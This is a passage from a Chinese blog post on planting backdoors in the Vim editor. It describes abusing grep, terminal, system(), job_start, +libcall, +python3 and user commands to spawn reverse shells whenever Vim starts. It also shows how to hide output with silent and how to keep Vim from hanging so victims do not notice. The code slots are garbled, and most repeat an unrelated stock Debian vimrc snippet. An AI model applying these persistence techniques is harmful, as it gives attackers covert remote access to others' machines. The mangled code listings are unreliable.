目录下任意的目录中已存在的文件使用 root 或 普通权限编辑 runtimepath
目录(除.vim
目录)下那些定义好的目录中的已存在或不存在的文件以上三条并不稳定,偶尔符合,偶尔不符
runtime! debian.vim
if has("syntax")
syntax on
endif
if filereadable("/etc/vim/vimrc.local")
source /etc/vim/vimrc.local
endif
4
只要运行 vim 就能触发
5) grep 指令命令注入
在 Vim 编辑器中,grep
是一个内置的搜索命令,用于在打开的文件中查找指定的字符串模式
经过我的测试发现, grep
指令存在命令注入的情况
runtime! debian.vim
if has("syntax")
syntax on
endif
if filereadable("/etc/vim/vimrc.local")
source /etc/vim/vimrc.local
endif
5
成功执行自定义的系统命令,与 !
指令同样的问题,执行的命令会打印到控制台上
6) terminal
terminal(终端)功能是为了方便用户在 Vim 窗口内直接执行终端命令而设计的。它允许你在 Vim 中打开一个与操作系统终端交互的子窗口,执行命令并查看输出结果。
打开 1.txt
命令执行结果会显示在上半部分,这样直接会被用户发现,可以使用 ++hidden
参数,以反弹 shell 为例
打开 1.txt
成功接收到反弹shell ,但是在退出 1.txt
时,显示如下
强制退出 vim 后,shell 断掉了
2. 屏蔽控制台输出
!
与 grep
均存在命令输出的问题,可以通过 silent 指令来进行屏蔽显示
以向 /tmp/flag.txt
中写入 silent write
为例
默认情况下虽然可以写入内容,但是太过于明显,接下来使用 silent
使用了 silent
之后,没有了对外的回显的命令,也没有了让用户确认的步骤,但还是会有一些空白空间
具体原因不详,但是经过一顿测试,也找到了解决办法
修改原指令
通过自动命令的方式解决了大片空白
grep
指令这里直接使用 silent
runtime! debian.vim
if has("syntax")
syntax on
endif
if filereadable("/etc/vim/vimrc.local")
source /etc/vim/vimrc.local
endif
6
3. 规避 vim 阻塞
以上指令以及函数的设置似乎对 vim 的使用没有什么影响,主要是因为我们执行的命令非常简单,且非常快,如果是反弹 shell 这类的指令,可能就会阻塞 vim 的运行
我们先使用 system 函数反弹shell,观察一下阻塞的情况
可以看到,在反弹的shell不断的情况下,vim 是不会正常运行的,会一直卡在这里
通过 #
让进程后台运行
不是很完美,通过 nohup
+ #
还是一样,这个时候可以掏出老办法 —— fork
,可以看之前后门的文章中介绍过
最佳方法是 vim 自带的 job_start
函数,job_start
就是开启一个异步的任务,不耽误vim运行
vim 不阻塞,而且退出 vim 后,shell 依旧正常运行
python 等feature 后门
将命令中的各个部分字符串分解
如何打印出所有的配置情况而不是所有的项
0x06 features
vim 中的 features 都是编译过程中指定开启或关闭的,Ubuntu Server 22.04 中开启情况如下
其中 +
表示开启,所有开启的 feature 进行功能说明
runtime! debian.vim
if has("syntax")
syntax on
endif
if filereadable("/etc/vim/vimrc.local")
source /etc/vim/vimrc.local
endif
7
1. +libcall
+libcall 是 Vim 中的一个功能,用于调用动态链接库(DLL)或共享库(SO)
具体使用方法
runtime! debian.vim
if has("syntax")
syntax on
endif
if filereadable("/etc/vim/vimrc.local")
source /etc/vim/vimrc.local
endif
8
libname 共享库的名字,这里强烈建议填写绝对路径 funcname 函数名 ... 参数
下面以通过 +libcall
调用 libc
中的 system
函数,执行反弹shell 脚本为例
runtime! debian.vim
if has("syntax")
syntax on
endif
if filereadable("/etc/vim/vimrc.local")
source /etc/vim/vimrc.local
endif
9
打开 1.txt
成功接收到反弹 shell ,但是同时 vim 也被卡住,既然是 system
函数,执行的是系统命令,那可以通过加一个 &
符号让命令在后台执行
对于反弹shell来说,如果接收反弹shell处未开启监听,会产生报错
2. +packages
这个 feature 其实在前面的内容中已经介绍过了,就是 pack
文件夹,以前大家都使用第三方软件给 vim 安装插件或者叫扩展,后来官方就出了一个包管理器,也就是 +packages
3. +python3
+python3
功能允许你使用 Python 3 解释器来执行脚本和扩展 Vim 的功能。它提供了与 Python 3 的无缝集成,使你能够编写、运行和调试 Python 代码
vim 与 python3 主要通过以下三个命令或函数进行交互(从留后门的角度看)
1) python3 或 py3
python3
命令用于在Vim中执行一段Python代码,类似于在Python解释器中输入代码并运行
2) py3file
py3file
命令用于在Vim中执行Python 3脚本文件
3) py3eval
py3eval
是一个内置函数,用于在Vim中执行Python 3表达式。
vim 支持 python3 主要也是为了让配置和扩展更方面,因此 py3eval
执行的结果是可以直接嵌入到 vim 配置文件中的
runtime! debian.vim 强制重新加载 debian.vim
0
当然,py3eval
也可以用来执行其他 python3 代码
网络上关于 vim 后门使用的比较常见的是 py3file
,实际上可以利用的命令或者函数还是有很多的
4. +user_commands
+user_commands
是一个命令行选项,用于启用用户自定义命令的功能,这里的命令指的是vim命令而不是操作系统命令,格式如下
runtime! debian.vim 强制重新加载 debian.vim
1
我们将反弹shell 操作定义为一个叫做 reverse
的命令
runtime! debian.vim 强制重新加载 debian.vim
2
打开 vim
报错了,命令必须是大写字母开头
成功收到 shell ,vim 退出后,shell 依旧正常运行
5. +vim9script
这个 feature 主要是让 vim 支持 vim9script
,这是在上面提到的 vimscript
基础上进行了部分改进的脚本语言,与旧版本有一些变化
0x07 总结
本篇文章只是利用了 vim 部分功能来制作后门,案例也处于是概念性的,以系统命令执行为主。当然,如果你已经通篇读了本篇文章,相信你一定了解细节支持,有了很多思路,有时间可以在本地实现一下。
本篇文章较长,公众号阅读可能不是很方便,因此我们给大家准备了 PDF 版本
https://pan.baidu.com/s/1GBKuhdfAR0RQNhp6rohqJA?pwd=wcqn 提取码: wcqn
0x08 往期文章
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...